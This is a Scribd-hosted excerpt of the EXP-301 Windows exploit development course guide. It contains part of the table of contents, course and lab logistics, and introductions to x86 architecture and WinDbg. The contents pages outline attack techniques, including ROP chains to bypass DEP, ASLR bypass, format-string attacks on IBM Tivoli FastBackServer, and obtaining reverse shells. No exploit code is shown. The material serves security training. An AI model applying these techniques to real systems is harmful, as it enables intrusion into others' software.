0% found this document useful (0 votes)
2K views

EXP-301 Windows User Mode Exploit Development

This document discusses techniques for bypassing data execution prevention (DEP) in Windows user mode exploitation, including return oriented programming (ROP) and address space layout randomization (ASLR) bypass. Specific techniques covered include gadget selection using Pykd and RP++, preparing the battlefield by obtaining offsets and locating useful gadgets, making ROP chains, leaking module addresses, and bypassing DEP with WriteProcessMemory to execute shellcode. The goal is to develop a full exploit to obtain a reverse shell.

Uploaded by

az1m3t
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
2K views

EXP-301 Windows User Mode Exploit Development

This document discusses techniques for bypassing data execution prevention (DEP) in Windows user mode exploitation, including return oriented programming (ROP) and address space layout randomization (ASLR) bypass. Specific techniques covered include gadget selection using Pykd and RP++, preparing the battlefield by obtaining offsets and locating useful gadgets, making ROP chains, leaking module addresses, and bypassing DEP with WriteProcessMemory to execute shellcode. The goal is to develop a full exploit to obtain a reverse shell.

Uploaded by

az1m3t
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 291

Windows User Mode Exploit Development

9.2 Return Oriented Programming ................................................................................................. 375


9.2.1 Origins of Return Oriented Programming Exploitation ................................................... 375
9.2.2 Return Oriented Programming Evolution .......................................................................... 376
9.3 Gadget Selection......................................................................................................................... 379
9.3.1 Debugger Automation: Pykd ................................................................................................ 379
9.3.1.1 Exercises ........................................................................................................................ 388
9.3.2 Optimized Gadget Discovery: RP++ ................................................................................... 388
9.3.2.1 Exercises ........................................................................................................................ 390
9.4 Bypassing DEP ............................................................................................................................ 390
9.4.1 Getting The Offset.................................................................................................................. 391
9.4.1.1 Exercises ........................................................................................................................ 393
9.4.2 Locating Gadgets ................................................................................................................... 393
9.4.2.1 Exercise........................................................................................................................... 394
9.4.3 Preparing the Battlefield ....................................................................................................... 394
9.4.3.1 Exercises ........................................................................................................................ 397
9.4.4 Making ROP’s Acquaintance................................................................................................ 397
9.4.4.1 Exercises ........................................................................................................................ 399
9.4.5 Obtaining VirtualAlloc Address ............................................................................................ 400
9.4.5.1 Exercises ........................................................................................................................ 408
9.4.6 Patching the Return Address ............................................................................................... 408
9.4.6.1 Exercises ........................................................................................................................ 413
9.4.7 Patching Arguments.............................................................................................................. 414
9.4.7.1 Exercises ........................................................................................................................ 420
9.4.8 Executing VirtualAlloc ........................................................................................................... 421
9.4.8.1 Exercises ........................................................................................................................ 426
9.4.9 Getting a Reverse Shell ......................................................................................................... 427
9.4.9.1 Exercises ........................................................................................................................ 428
9.4.9.2 Extra Mile ........................................................................................................................ 428
9.4.9.3 Extra Mile ........................................................................................................................ 429
9.4.9.4 Extra Mile ........................................................................................................................ 429
9.5 Wrapping Up ................................................................................................................................ 429
10 Stack Overflows and ASLR Bypass .............................................................................................. 430
10.1 ASLR Introduction ...................................................................................................................... 430
10.1.1 ASLR Implementation....................................................................................................... 430
10.1.2 ASLR Bypass Theory ........................................................................................................ 431

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 10
Windows User Mode Exploit Development

10.1.3 Windows Defender Exploit Guard and ASLR................................................................ 433


10.1.3.1 Exercises .................................................................................................................... 438
10.2 Finding Hidden Gems ................................................................................................................ 438
10.2.1 FXCLI_DebugDispatch ...................................................................................................... 438
10.2.1.1 Exercises .................................................................................................................... 444
10.2.2 Arbitrary Symbol Resolution............................................................................................ 444
10.2.2.1 Exercises .................................................................................................................... 451
10.2.3 Returning the Goods ......................................................................................................... 451
10.2.3.1 Exercises .................................................................................................................... 460
10.3 Expanding our Exploit (ASLR Bypass) .................................................................................... 460
10.3.1 Leaking an IBM Module .................................................................................................... 461
10.3.1.1 Exercises .................................................................................................................... 463
10.3.2 Is That a Bad Character?.................................................................................................. 463
10.3.2.1 Exercises .................................................................................................................... 465
10.4 Bypassing DEP with WriteProcessMemory .......................................................................... 466
10.4.1 WriteProcessMemory ....................................................................................................... 466
10.4.1.1 Exercises .................................................................................................................... 478
10.4.2 Getting Our Shell ................................................................................................................ 478
10.4.2.1 Exercises .................................................................................................................... 481
10.4.3 Handmade ROP Decoder ................................................................................................. 481
10.4.3.1 Exercises .................................................................................................................... 487
10.4.4 Automating the Shellcode Encoding ............................................................................. 487
10.4.4.1 Exercises .................................................................................................................... 488
10.4.5 Automating the ROP Decoder ......................................................................................... 488
10.4.5.1 Exercises .................................................................................................................... 494
10.4.5.2 Extra Mile ................................................................................................................... 494
10.4.5.3 Extra Mile ................................................................................................................... 494
10.4.5.4 Extra Mile ................................................................................................................... 495
10.4.5.5 Extra Mile ................................................................................................................... 495
10.5 Wrapping Up ................................................................................................................................ 495
11 Format String Specifier Attack Part I ............................................................................................ 496
11.1 Format String Attacks................................................................................................................ 496
11.1.1 Format String Theory........................................................................................................ 496
11.1.2 Exploiting Format String Specifiers ............................................................................... 498
11.1.2.1 Exercise ...................................................................................................................... 501

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 11
Windows User Mode Exploit Development

11.2 Attacking IBM Tivoli FastBackServer...................................................................................... 501


11.2.1 Investigating the EventLog Function ............................................................................. 501
11.2.1.1 Exercise ...................................................................................................................... 505
11.2.2 Reverse Engineering a Path............................................................................................. 505
11.2.2.1 Exercises .................................................................................................................... 511
11.2.3 Invoke the Specifiers......................................................................................................... 511
11.2.3.1 Exercise ...................................................................................................................... 515
11.3 Reading the Event Log ............................................................................................................... 516
11.3.1 The Tivoli Event Log .......................................................................................................... 516
11.3.1.1 Exercise ...................................................................................................................... 520
11.3.2 Remote Event Log Service ............................................................................................... 520
11.3.2.1 Exercise ...................................................................................................................... 528
11.3.3 Read From an Index .......................................................................................................... 528
11.3.3.1 Exercise ...................................................................................................................... 539
11.3.4 Read From the Log............................................................................................................ 539
11.3.4.1 Exercise ...................................................................................................................... 544
11.3.5 Return the Log Content .................................................................................................... 545
11.3.5.1 Exercises .................................................................................................................... 548
11.4 Bypassing ASLR with Format Strings..................................................................................... 548
11.4.1 Parsing the Event Log ....................................................................................................... 548
11.4.1.1 Exercises .................................................................................................................... 553
11.4.2 Leak Stack Address Remotely ........................................................................................ 554
11.4.2.1 Exercises .................................................................................................................... 557
11.4.3 Saving the Stack ................................................................................................................ 557
11.4.3.1 Exercises .................................................................................................................... 559
11.4.4 Bypassing ASLR................................................................................................................. 559
11.4.4.1 Exercises .................................................................................................................... 566
11.4.4.2 Extra Mile ................................................................................................................... 567
11.4.4.3 Extra Mile ................................................................................................................... 567
11.5 Wrapping Up ................................................................................................................................ 567
12 Format String Specifier Attack Part II........................................................................................... 568
12.1 Write Primitive with Format Strings ........................................................................................ 568
12.1.1 Format String Specifiers Revisited................................................................................. 568
12.1.1.1 Exercise ...................................................................................................................... 570
12.1.2 Overcoming Limitations ................................................................................................... 570

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 12
Windows User Mode Exploit Development

12.1.2.1 Exercises .................................................................................................................... 578


12.1.3 Write to the Stack .............................................................................................................. 578
12.1.3.1 Exercises .................................................................................................................... 582
12.1.4 Going for a DWORD........................................................................................................... 583
12.1.4.1 Exercises .................................................................................................................... 584
12.2 Overwriting EIP with Format Strings....................................................................................... 584
12.2.1 Locating a Target .............................................................................................................. 585
12.2.1.1 Exercises .................................................................................................................... 587
12.2.2 Obtaining EIP Control ....................................................................................................... 587
12.2.2.1 Exercise ...................................................................................................................... 588
12.3 Locating Storage Space ............................................................................................................ 588
12.3.1 Finding Buffers ................................................................................................................... 589
12.3.1.1 Exercises .................................................................................................................... 592
12.3.2 Stack Pivot .......................................................................................................................... 592
12.3.2.1 Exercise ...................................................................................................................... 595
12.4 Getting Code Execution ............................................................................................................. 595
12.4.1 ROP Limitations ................................................................................................................. 595
12.4.1.1 Exercises .................................................................................................................... 598
12.4.2 Getting a Shell .................................................................................................................... 599
12.4.2.1 Exercises .................................................................................................................... 600
12.5 Wrapping Up ................................................................................................................................ 600
13 Trying Harder: The Labs.................................................................................................................. 601
13.1 Challenge 1 .................................................................................................................................. 601
13.2 Challenge 2 .................................................................................................................................. 601
13.3 Challenge 3 .................................................................................................................................. 602
13.4 Wrapping Up ................................................................................................................................ 604

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 13
Windows User Mode Exploit Development

1 Windows User Mode Exploit Development: General


Course Information
Welcome to the Windows User Mode Exploit Development (EXP-301) course!
EXP-301 was designed for security professionals who already have some experience in finding
known vulnerabilities and using public exploits to attack them.
This course will encompass beginner-to-intermediate exploit development for binary applications
on the Windows operating system. It will also provide an introduction to reverse engineering
binary applications to help locate vulnerabilities.

1.1 About the EXP-301 Course


Before diving into the course material, let’s cover some basic terminology.
The concept of exploit development applies to many areas of offensive security. For instance, we
might locate vulnerabilities in web applications and craft exploits to attack them, or abuse
insecure configurations related to service or file permissions.
To narrow the scope, this course focuses on applications that are written in low-level languages
such as C++ and then compiled into binary code. For such applications, source code is often
unavailable when searching for vulnerabilities or developing an exploit.
Once code written in low-level languages has been compiled, it cannot easily be decompiled. This
is different from high-level languages, such as C# or Java, in which the code is only compiled into
an intermediate bytecode format.
Since we’ll attack applications written in low-level languages, we will need to work with the code’s
binary representation. This means we will tackle low-level mechanisms including direct memory
manipulations, assembly code, processor flags, and registers.
In Windows binary exploitation, there are many avenues to explore, and to obtain a firm
understanding of exploit development, it is important to build a strong foundation. To further
tighten the scope, this course will cover exploitation techniques and vulnerabilities in server side
applications that do not contain internal scripting engines. This excludes applications like web
browsers.
While the majority of Windows operating systems in use today are 64-bit, many applications are
32-bit. This is possible on the Windows platform due to the Windows on Windows 64 (wow64)
implementation.1 On workstations this includes applications like the Microsoft Office suite and
many enterprise server side applications are also still 32-bit.
EXP-301 will focus exclusively on the 32-bit architecture, due to the huge amount of knowledge
required to learn and become proficient in exploit development. It should also be noted that most
techniques on 32-bit can be adapted to 64-bit, so learning them in-depth on 32-bit is important.

1
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/winprog64/wow64-implementation-details

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 14
Windows User Mode Exploit Development

Attackers require a base of overlapping knowledge to both find a vulnerability and craft an exploit.
You will develop this knowledge base through the modules in this course.
EXP-301 begins by covering Instruction Pointer (EIP) and Structured Exception Handling (SEH)
overwrites, along with egghunters and how to create custom shellcode. We move on to learning
reverse engineering techniques by using IDA Pro, next exploring how to bypass Data Execution
Prevention (DEP) with Return-Oriented Programming (ROP). The final modules in this course
cover advanced custom-made ROP chains, bypassing Address Space Layout Randomization
(ASLR), and how to create and use read and write primitives to achieve complex attacks.

1.2 Provided Materials


Let’s take a moment to review the individual components of the course. At this point, you should
have access to the following:
• The EXP-301 course materials
• The internal VPN lab network
• Student forum credentials
• Live support
• An OSED exam attempt

Next, we’ll cover each of these items in detail.

1.2.1 EXP-301 Course Materials


The course includes this lab guide in PDF format and the accompanying course videos. The
information covered in the PDF and the videos are complementary, meaning you can read the lab
guide and then watch the videos to fill in any gaps, or vice-versa.
In some modules, the lab guide is more detailed than the videos. In other cases, the videos may
convey some information better than the guide. It is important that you pay close attention to
both.
The lab guide also contains exercises at the end of each chapter. Completing the course
exercises will help you solidify your knowledge and practice the skills needed to attack and
compromise applications.

1.2.2 Access to the Internal VPN Lab Network


The email welcome package, which you received on your course start date, includes your VPN
credentials and the corresponding VPN connectivity pack. These will enable you to access the
internal lab network, where you will be spending a considerable amount of time.
Lab time starts when your course begins and is tracked as continuous access. Lab time can only
be paused in case of an emergency.2

2
(Offensive Security, 2020), https://support.offensive-security.com/registration-and-orders/#can-i-pause-my-lab-time

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 15
Windows User Mode Exploit Development

If your lab time expires, or is about to expire, you can purchase a lab extension at any time. To
purchase additional lab time, use the personalized purchase link that was sent to your email
address. If you purchase a lab extension while your lab access is still active, you can continue to
use the same VPN connectivity pack. If you purchase a lab extension after your existing lab
access has ended, you will receive a new VPN connectivity pack.

1.2.3 The Offensive Security Student Forum


The Student Forum3 is only accessible to Offensive Security students. Your forum credentials are
also part of the email welcome package. Access does not expire when your lab time ends. You
can continue to enjoy the forums long after you pass your OSED exam.
On the forum, you can ask questions, share interesting resources, and offer tips (as long as there
are no spoilers). We ask all forum members to be mindful of what they post, taking particular care
not to ruin the overall course experience for others by posting complete solutions. Inappropriate
posts may be moderated.
Once you have successfully passed the OSED exam, you will gain access to the sub-forum for
certificate holders.

1.2.4 Live Support and RocketChat


RocketChat will allow you to directly communicate with our Student Administrators. These are
staff members at Offensive Security who have taken the EXP-301 course and know the material.
Through Live Support, Student Administrators are available to assist with technical issues during
the exam and related to VPN connectivity for the labs.
In RocketChat, you can connect with fellow EXP-301 students and ask our Student Administrators
any questions needed to clarify the course material and exercises. If you have tried your best and
are completely stuck on an application, Student Administrators may also be able to provide a
small hint to help you on your way.
Remember that the information provided by the Student Administrators will be based on the
amount of detail you are able to provide. The more detail you can give about what you’ve already
tried and the outcomes you’ve been able to observe, the better.

1.2.5 OSED Exam Attempt


Included with your initial purchase of the EXP-301 course is an attempt at the Offensive Security
Exploit Developer (OSED) certification.
The exam is optional, so it is up to you to decide whether or not you would like to tackle it. You
have 120 days after the end of your lab time to schedule and complete your exam attempt. After
120 days, the attempt will expire.
If your exam attempt expires, you can purchase an additional attempt and take the exam within
120 days of the purchase date.

3
(Offensive Security, 2020), https://forums.offensive-security.com

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 16
Windows User Mode Exploit Development

If you purchase a lab extension while you still have an unused exam attempt, the expiration date
of your exam attempt will be moved to 120 days after the end of your lab extension.
To book your OSED exam, use your personalized exam scheduling link. This link is included in the
welcome package emails. You can also find the link using your EXP-301 control panel.

1.3 Overall Strategies for Approaching the Course


Each student is unique, so there is no single best way to approach this course and materials. We
want to encourage you to move through the course at your own comfortable pace. You’ll also
need to apply time management skills to keep yourself on track.
We recommend the following as a very general approach to the course materials:
1. Review all the information included in the welcome and course information emails.
2. Review the course materials.
3. Complete the course exercises.
4. Attack the target applications.

1.3.1 Welcome and Course Information Emails


First and foremost, take the time to read all the information included in the emails you received on
your course start date. These emails include your VPN pack, lab and forum credentials, and
control panel URL. They also contain URLs to the course FAQ, RocketChat, and the support page.

1.3.2 Course Materials


Once you have reviewed the information above, you can jump into the course material. You may
opt to start with the course videos, then review the information for the same module in the lab
guide, or vice-versa depending on your preferred learning style. As you go through the course
material, you may need to re-watch or re-read modules to fully absorb the content.
You’ll note that there are course videos associated with all modules included in EXP-301 except
this introduction and Trying Harder: The Labs.
You will occasionally encounter text in a centered, blue font in the lab guide. Text blocks
presented in this way offer additional information that provides further context but is not required
to follow the narrative of an attack. The information in these blocks is not mentioned in the
course videos.
We recommend approaching the course as a marathon and not a sprint. Don’t be afraid to spend
extra time with difficult concepts before moving forward in the course.

1.3.3 Course Exercises


We recommend that you fully complete the exercises at the end of each module prior to moving
on to the next module. They will test your understanding of the material and build your confidence
to move forward.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 17
Windows User Mode Exploit Development

Depending on your existing skillset, it may take considerable time and effort to complete the
exercises. Nevertheless, we encourage you to be persistent, especially with tougher exercises.
Persistence is an essential trait to develop as part of the OffSec “Try Harder” mindset.
To aid in your studying the dedicated student vm contains the folder C:\proof_of_concepts. Inside
this folder you will find exploit code for relevant exercises as marked by module, section and
exercise numbers. Only exercises that result in an updated exploit code have entries in the list.
We encourage you to attempt to solve the exercises on your own before you read the solutions,
as this will greatly increase your learning.

Note that copy-pasting code from the lab guide into a script may result in
unintended whitespace or newlines due to formatting.

Some modules include extra mile exercises, which are more difficult and time-consuming than
regular exercises. These exercises are not required to learn the material, but they will you help
develop extra skills and succeed on the exam. Also note that solutions to these extra miles are
not given on your student vm.

1.4 About the EXP-301 VPN Labs


The EXP-301 labs provide an isolated environment where you can conduct both exploit
development and reverse engineering. Machines in the labs have been loaded with the required
applications and tools.
We’ve also provided a number of extra applications for practicing your skills after completing the
lab guide and exercises.
Note that all virtual machines in this course are assigned to you and are not shared with other
students.

1.4.1 Control Panel


Once logged in to the internal VPN lab network, you can access the EXP-301 control panel. You
can use the control panel to revert your lab machines or book your exam.
The control panel URL is listed in your welcome package email.

1.4.2 Reverts
Each student is provided with twelve reverts every 24 hours. Reverts enable you to return a
particular lab machine to its pristine state. This counter is reset every day at 00:00 GMT +0. If you
require additional reverts, you can contact a Student Administrator via email (help@offensive-
security.com) or contact Live Support for help resetting your revert counter.
The minimum amount of time between lab machine reverts is five minutes.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 18
Windows User Mode Exploit Development

In the control panel, you will find a drop-down menu with the title Module VM. This entry is used
for all modules in the course guide. Before starting on the exercises or following the information
given in the course videos or lab guide, you must access the control panel and revert the VM.
After disconnecting from the VPN for an extended time period, any active virtual machine will be
removed, and you’ll need to connect to the VPN again and request a revert. With this in mind,
please be sure to copy any notes or developed scripts to your Kali Linux VM before disconnecting
from the labs.
After completing the course modules and associated exercises, you can select a number of
challenges from the control panel. This will revert a machine containing a target application.

1.4.3 Kali Virtual Machine


This course was created and designed with Kali Linux in mind. While you are free to use any
operating system you desire, the lab guide and course videos all depict commands as given in
Kali Linux while running as a non-root user.
Be aware that the Student Administrators only provide support for Kali Linux running on VMware,
but you are free to use any other virtualization software.
The recommended Kali Linux image4 is the newest stable release in a default 64-bit build.

1.4.4 Lab Behavior and Lab Restrictions


The following restrictions are strictly enforced in the internal VPN lab network. If you violate any
of the restrictions below, Offensive Security reserves the right to disable your lab access.
1. Do not ARP spoof or conduct any other type of poisoning or man-in-the-middle attacks
against the network.
2. Do not perform brute force attacks against the VPN infrastructure.
3. Do not attempt to hack into other students’ clients or Kali machines.

1.5 About the OSED Exam


The OSED certification exam contains three separate tasks and includes topics from reverse
engineering to exploit development. You’ll need to obtain at least 60 out of 100 points to pass the
exam, which equates to fully completing two out of the three tasks.
The environment is completely dedicated to you for the duration of the exam, and you will have
47 hours and 45 minutes to complete it.
Specific instructions for the exam network are located in your exam control panel, which will
become available once your exam begins. Your exam package includes a VPN connectivity pack
and additional instructions containing the unique URL you can use to access your exam control
panel.

4
(Offensive Security, 2020), https://www.kali.org/downloads/

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 19
Windows User Mode Exploit Development

To ensure the integrity of our certifications, the exam will be remotely proctored. You are required
to be present 15 minutes before your exam start time to perform identity verification and other
pre-exam tasks. Please make sure to read our proctoring FAQ5 before scheduling your exam.
Once the exam has ended, you will have an additional 24 hours to put together your exam report
and document your findings. You will be evaluated on quality and accuracy of the exam report, so
please include as much detail as possible and make sure your findings are all reproducible.
Once your exam files have been accepted, your exam will be graded and you will receive your
results within ten business days. If you achieve a passing score, we will ask you to confirm your
physical address so we can mail your certificate. If you have not achieved a passing score, we will
notify you, and you may purchase a certification retake using the appropriate links.
We highly recommend that you carefully schedule your exam for a two-day window when you can
ensure no outside distractions or commitments. Exam availability is handled on a first come, first
served basis, so it is best to schedule your exam as far in advance as possible to ensure your
preferred date is available.
For additional information regarding the exam, please review the OSED exam guide.6

1.6 Wrapping Up
In this module, we discussed important information needed to make the most of the EXP-301
course and lab. We also covered how to prepare for, and then take, the final OSED exam.
We wish you the best of luck on your EXP-301 journey and hope you enjoy the new challenges
you will face.

5
(Offensive Security, 2020), https://support.offensive-security.com/proctoring-faq/
6
(Offensive Security, 2021), https://help.offensive-security.com/hc/en-us/articles/360052977212-OSED-Exam-Guide

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 20
Windows User Mode Exploit Development

2 WinDbg and x86 Architecture


In this module, we’ll introduce some fundamental concepts of x86 architecture including CPU
registers, program memory, and function return mechanics. We’ll then learn the basic skills
needed to debug an application with WinDbg.
Practicing with WinDbg and mastering its commands is essential for tackling more complex
exploitation topics later during this course.

2.1 Introduction to x86 Architecture


Before we can debug memory corruptions, we need to discuss program memory, understand
how software works at the CPU level, and outline a few basic definitions.

As we discuss these principles, we will refer quite often to Assembly (asm),7 an


extremely low-level programming language that corresponds very closely to the
CPU’s built-in machine code instructions.

2.1.1 Program Memory


When a binary application is executed, it allocates memory in a very specific way within the
memory boundaries used by modern computers. Figure 1 shows how process memory is
allocated in Windows between the lowest memory address (0x00000000) and the highest
memory address (0x7FFFFFFF) used by applications:

Figure 1: Anatomy of program memory in Windows

7
(Wikipedia, 2019), https://en.wikipedia.org/wiki/Assembly_language

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 21
Windows User Mode Exploit Development

Although there are several memory areas outlined in this figure, in this module, we will solely
focus on the stack.

2.1.1.1 The Stack


When a thread is running, it executes code from within the Program Image or from various
Dynamic Link Libraries (DLLs).8 The thread requires a short-term data area for functions, local
variables, and program control information, which is known as the stack.9 To facilitate the
independent execution of multiple threads, each thread in a running application has its own stack.
Stack memory is “viewed” by the CPU using a Last-In, First-Out (LIFO) structure. This essentially
means that while accessing the stack, items put (“pushed”) on the top of the stack are removed
(“popped”) first. The x86 architecture implements dedicated PUSH and POP assembly instructions
to add or remove data to the stack respectively.

2.1.1.2 Calling conventions


Calling conventions10 describe how functions receive their parameters from their caller and how
they return the result. The x86 architecture allows for the use of multiple calling conventions. The
difference in their implementation consists of several factors such as how the parameters and
return value are passed (placed in CPU registers,11 pushed on the stack, or both), in which order
they are passed, how the stack is prepared and cleaned up before and after the call, and what
CPU registers the called function must preserve for the caller.
Generally speaking, the compiler determines which calling convention is used for all functions in a
program, however, in some cases, it is possible for the programmer to specify a specific calling
convention on a per-function basis.

2.1.1.3 Function Return Mechanics


When code within a thread calls a function, it must know which address to return to once the
function completes. This “return address” (along with the function’s parameters and local
variables) is stored on the stack. This collection of data is associated with one function call and is
stored in a section of the stack memory known as a stack frame. An example of a stack frame is
illustrated in Figure 2.

Figure 2: Return address on the stack

8
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/desktop/dlls/dynamic-link-libraries
9
(Wikipedia, 2020), https://en.wikipedia.org/wiki/Stack-based_memory_allocation
10
(Wikipedia, 2014), https://en.wikipedia.org/wiki/Calling_convention
11
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/x86-architecture

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 22
Windows User Mode Exploit Development

When a function ends, the return address is taken from the stack and used to restore the
execution flow to the calling function.
While we’ve described the process at a high level, next we must understand more about how this
is accomplished at the CPU level. This requires a discussion about CPU registers.

2.1.2 CPU Registers


To perform efficient code execution, the CPU maintains and uses a series of nine 32-bit registers
(on a 32-bit architecture). Registers are small, extremely high-speed CPU storage locations where
data can be efficiently read or manipulated. These nine registers, including the nomenclature for
the higher and lower bits of those registers, are shown in Figure 3.

Figure 3: X86 CPU registers

The register names were established for 16-bit architectures and were then extended with the
advent of the 32-bit (x86) platform, hence the letter “E” in the register acronyms. Each register
may contain a 32-bit value (allowing values between 0 and 0xFFFFFFFF) or may contain 16-bit or
8-bit values in the respective subregisters, as shown in the EAX register in Figure 4.

Figure 4: 16-bit and 8-bit subregisters

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 23
Windows User Mode Exploit Development

2.1.2.1 General Purpose Registers


Several registers such as EAX, EBX, ECX, EDX, ESI, and EDI are often used as general purpose
registers to store temporary data. There is much more to this discussion (as explained in various
online resources12), but the primary registers for our purposes are described below:
• EAX (accumulator): Arithmetical and logical instructions
• EBX (base): Base pointer for memory addresses
• ECX (counter): Loop, shift, and rotation counter
• EDX (data): I/O port addressing, multiplication, and division
• ESI (source index): Pointer addressing of data and source in string copy operations
• EDI (destination index): Pointer addressing of data and destination in string copy operations

2.1.2.2 ESP - The Stack Pointer


As previously mentioned, the stack is used for storage of data, pointers, and arguments. Since the
stack is dynamic and changes constantly during program execution, the stack pointer ESP keeps
“track” of the most recently referenced location on the stack (top of the stack) by storing a pointer
to it.

A pointer is a reference to an address (or location) in memory. When we say a


register “stores a pointer” or “points” to an address, this essentially means that
the register is storing that target address.

2.1.2.3 EBP - The Base Pointer


Since the stack is in constant flux during the execution of a thread, it can become difficult for a
function to locate its stack frame, which stores the required arguments, local variables, and the
return address. EBP, the base pointer, solves this by storing a pointer to the top of the stack when
a function is called. By accessing EBP, a function can easily reference information from its stack
frame (via offsets) while executing.

2.1.2.4 EIP - The Instruction Pointer


EIP, the instruction pointer, is one of the most important registers for our purposes as it always
points to the next code instruction to be executed. Since EIP essentially directs the flow of a
program, it is an attacker’s primary target when exploiting any memory corruption vulnerability
such as a buffer overflow.

12
(SkullSecurity, 2012), https://wiki.skullsecurity.org/Registers

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 24
Windows User Mode Exploit Development

2.2 Introduction to Windows Debugger


Now that we understand the fundamental concepts of the x86 architecture, it is time to explore
the debugging tool we will use throughout this course.
There are several debugging programs available on Windows. OllyDbg13 and Immunity Debugger14
are well-known in the reverse engineering and exploit development world for their user-friendly
interface. Immunity Debugger originally began as a fork of OllyDbg but it has since surpassed
OllyDbg’s functionality.
Despite the convenience of these programs, we will use Microsoft WinDbg15 debugger exclusively
in this course. This is because WinDbg provides the same scripting features available in Immunity
Debugger, along with the availability of both 32- and 64-bit versions. While an open source
implementation of OllyDbg for 64-bit exists, it does not provide the same features or support as
WinDbg.
WinDbg is also our preferred debugger because it can debug in both user-mode and kernel-mode,
which makes it the best fit for the development of any kind of exploits leveraged on Windows.
WinDbg is provided as part of the Software Development Kit (SDK), the Windows Driver Kit (WDK),
and the Debugging Tools for Windows, free-of-charge. WinDbg is pre-installed on the course VM.

Microsoft released a version of WinDbg called WinDbg Preview.16 It features a


more intuitive interface as well as additional features such as time travel
debugging17 and a JavaScript API18 for scripting support. However, WinDbg
Preview only works on Windows 10 Anniversary Edition (1607/RS1) and newer
versions.

We will use the standard WinDbg version in this course to gain familiarity with the features
available on all versions of WinDbg and avoid any compatibility issues.
Leveraging WinDbg, we will learn how to use breakpoints to step through and control the flow of
an application. We will use Notepad to create, read, and open a text file. Finally, we will explain the
commands needed to display vital information and manipulate memory inside WinDbg.

2.2.1 What is a Debugger?


Let’s start with a quick refresher. A debugger is a computer program inserted between the target
application and the CPU, in principle, acting like a proxy.

13
(OllyDbg, 2019), http://www.ollydbg.de/
14
(Immunity Inc, 2019), https://www.immunityinc.com/products/debugger/index.html
15
(Microsoft, 2019), https://developer.microsoft.com/en-us/windows/hardware/download-windbg
16
(Microsoft, 2019), https://docs.microsoft.com/en-gb/windows-hardware/drivers/debugger/debugging-using-windbg-preview
17
(Microsoft, 2019), https://docs.microsoft.com/en-gb/windows-hardware/drivers/debugger/time-travel-debugging-overview
18
(Microsoft, 2017), https://docs.microsoft.com/en-gb/windows-hardware/drivers/debugger/windbg-scripting-preview

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 25
Windows User Mode Exploit Development

Using a debugger allows us to view and interact with the memory and execution flow of
applications. The memory space of most operating systems, including Windows, is divided into
two parts, kernel-mode (ring 0) and user-mode (ring 3). Throughout this course, we will interact
with the user-mode and avoid elements related to the kernel-mode.
The CPU processes code at a binary level, which is difficult for people to read and understand.
The Assembly programming language introduces a one-to-one mapping between the binary
content and programming language.
Even though assembly language is supposed to be human-readable, it’s still a low-level
language,19 and it takes time to master. An opcode is a binary sequence interpreted by the CPU as
a specific instruction. This is shown in the debugger as hexadecimal values along with a
translation into assembly language.

2.2.2 WinDbg Interface


Now that we’ve discussed the basics of debugging, let’s examine WinDbg. When we log into the
student VM, we’ll click on the Start Menu and search for WinDbg. Once we open it, we are met
with a plain screen, as shown in Figure 5.

Figure 5: Starting screen for WinDbg

19
(Wikipedia, 2020), https://en.wikipedia.org/wiki/Low-level_programming_language

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 26
Windows User Mode Exploit Development

Please note that if we use the icon pinned to the taskbar of our dedicated
Windows client VM, WinDbg will load with our preset workspace.

Let’s practice using WinDbg (x86). We’ll start by launching Notepad and WinDbg on our lab VM.
To attach the debugger to Notepad, we will switch to WinDbg, access the File menu, and select
Attach to a Process… (Figure 6) or press the key. ^

Figure 6: Attach to process

This brings up a window listing all the processes that can be attached, as shown in Figure 7.

Figure 7: List of processes to attach to

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 27
Windows User Mode Exploit Development

There are different ways to sort this list if it’s not open already. System order is the default, which
means the processes are sorted from newest to oldest. We can also sort by the process ID or
executable name, making it easier to locate a running process.

Let’s locate our newly-created Notepad process, which will be at the bottom of the list by default.
After selecting the Notepad process, we click OK, and WinDbg will attach to the process. When
WinDbg attaches to the process, it pauses the execution flow, allowing us to interact with the
debugger.
The debugger injects a software breakpoint20 by overwriting the current instruction in memory
with an INT 3 assembly instruction.

While we will get back to the concepts of breakpoints in more detail shortly, it is
important to note that if we do not enter a ‘g’21 (Go) at the command window
prompt, the application will stay suspended.

2.2.3 Understanding the Workspace


Without any customization, the default workspace looks quite lean. When an application is
attached, WinDbg displays a single floating style Command window, as shown in Figure 8.

Figure 8: Default workspace of WinDbg

20
(Intel® System Debugger - System Debug (Legacy) User and Reference Guide, 2019), https://software.intel.com/en-us/system-
debug-legacy-user-guide-hardware-and-software-breakpoints
21
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/g--go-?redirectedfrom=MSDN

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 28
Windows User Mode Exploit Development

If we launch WinDbg from the taskbar, we notice it loads with a pre-set workspace22 layout. The
